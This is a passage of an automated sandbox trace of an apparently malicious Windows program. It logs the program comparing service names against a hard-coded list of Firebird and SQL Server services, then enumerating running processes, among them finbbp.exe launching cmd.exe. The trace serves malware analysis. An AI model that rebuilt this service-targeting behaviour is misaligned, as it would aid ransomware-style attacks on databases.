lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0228.898] lstrlenW (lpString="MpsSvc") returned 6 [0228.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0228.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0228.898] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0228.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0228.898] lstrlenW (lpString="NcbService") returned 10 [0228.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0228.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0228.898] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0228.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0228.898] lstrlenW (lpString="netprofm") returned 8 [0228.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0228.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0228.898] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0228.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0228.898] lstrlenW (lpString="NgcSvc") returned 6 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0228.899] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0228.899] lstrlenW (lpString="NlaSvc") returned 6 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0228.899] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0228.899] lstrlenW (lpString="nsi") returned 3 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0228.899] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0228.899] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0228.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0228.899] lstrlenW (lpString="PcaSvc") returned 6 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0228.899] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0228.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0228.899] lstrlenW (lpString="PlugPlay") returned 8 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0228.899] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0228.899] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0228.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0228.899] lstrlenW (lpString="Power") returned 5 [0228.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0228.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0228.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0228.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0228.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0228.910] lstrlenW (lpString="ProfSvc") returned 7 [0228.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0228.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0228.910] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0228.910] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0228.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0228.910] lstrlenW (lpString="RpcEptMapper") returned 12 [0228.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.911] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0228.911] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0228.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0228.911] lstrlenW (lpString="RpcSs") returned 5 [0228.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0228.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0228.911] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0228.911] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0228.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0228.911] lstrlenW (lpString="SamSs") returned 5 [0228.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0228.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0228.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0228.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0228.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0228.911] lstrlenW (lpString="Schedule") returned 8 [0228.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0228.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0228.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0228.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0228.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0228.911] lstrlenW (lpString="SecurityHealthService") returned 21 [0228.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0228.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0228.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0228.912] lstrlenW (lpString="SENS") returned 4 [0228.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0228.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0228.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0228.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0228.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0228.912] lstrlenW (lpString="ShellHWDetection") returned 16 [0228.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.912] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0228.912] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0228.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0228.912] lstrlenW (lpString="Spooler") returned 7 [0228.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0228.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0228.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0228.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0228.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0228.912] lstrlenW (lpString="StateRepository") returned 15 [0228.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0228.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0228.912] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0228.912] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0228.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0228.912] lstrlenW (lpString="SysMain") returned 7 [0228.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0228.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0228.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0228.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0228.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0228.913] lstrlenW (lpString="SystemEventsBroker") returned 18 [0228.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0228.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0228.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0228.913] lstrlenW (lpString="Themes") returned 6 [0228.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0228.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0228.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0228.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0228.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0228.913] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0228.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.913] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0228.913] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0228.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0228.913] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0228.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.913] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0228.913] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0228.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41a9368 | out: hHeap=0x670000) returned 1 [0228.914] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0228.921] Process32FirstW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.922] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.922] lstrlenW (lpString="System") returned 6 [0228.922] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.923] lstrlenW (lpString="smss.exe") returned 8 [0228.923] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.923] lstrlenW (lpString="csrss.exe") returned 9 [0228.923] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.924] lstrlenW (lpString="wininit.exe") returned 11 [0228.924] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.924] lstrlenW (lpString="csrss.exe") returned 9 [0228.924] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.925] lstrlenW (lpString="winlogon.exe") returned 12 [0228.925] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.926] lstrlenW (lpString="services.exe") returned 12 [0228.926] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.926] lstrlenW (lpString="lsass.exe") returned 9 [0228.926] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.927] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.927] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.927] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.927] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.928] lstrlenW (lpString="svchost.exe") returned 11 [0228.928] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.928] lstrlenW (lpString="svchost.exe") returned 11 [0228.928] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.929] lstrlenW (lpString="dwm.exe") returned 7 [0228.929] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.930] lstrlenW (lpString="svchost.exe") returned 11 [0228.930] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.930] lstrlenW (lpString="svchost.exe") returned 11 [0228.930] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.931] lstrlenW (lpString="svchost.exe") returned 11 [0228.931] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.931] lstrlenW (lpString="svchost.exe") returned 11 [0228.931] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.932] lstrlenW (lpString="svchost.exe") returned 11 [0228.932] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.934] lstrlenW (lpString="svchost.exe") returned 11 [0228.934] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.018] lstrlenW (lpString="svchost.exe") returned 11 [0229.018] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.019] lstrlenW (lpString="svchost.exe") returned 11 [0229.019] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.019] lstrlenW (lpString="svchost.exe") returned 11 [0229.019] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.020] lstrlenW (lpString="svchost.exe") returned 11 [0229.020] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.021] lstrlenW (lpString="spoolsv.exe") returned 11 [0229.021] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.021] lstrlenW (lpString="svchost.exe") returned 11 [0229.021] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.022] lstrlenW (lpString="audiodg.exe") returned 11 [0229.022] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0229.022] lstrlenW (lpString="sihost.exe") returned 10 [0229.022] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.023] lstrlenW (lpString="svchost.exe") returned 11 [0229.023] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0229.023] lstrlenW (lpString="taskhostw.exe") returned 13 [0229.024] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0229.024] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0229.024] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0229.025] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0229.025] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0229.025] lstrlenW (lpString="Memory Compression") returned 18 [0229.025] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.026] lstrlenW (lpString="explorer.exe") returned 12 [0229.026] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0229.026] lstrlenW (lpString="SearchUI.exe") returned 12 [0229.026] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0229.026] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0229.027] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0229.027] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0229.027] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0229.027] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0229.028] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0229.028] lstrlenW (lpString="finbbp.exe") returned 10 [0229.028] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.029] lstrlenW (lpString="cmd.exe") returned 7 [0229.029] Process32NextW (in: hSnapshot=0x390, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, 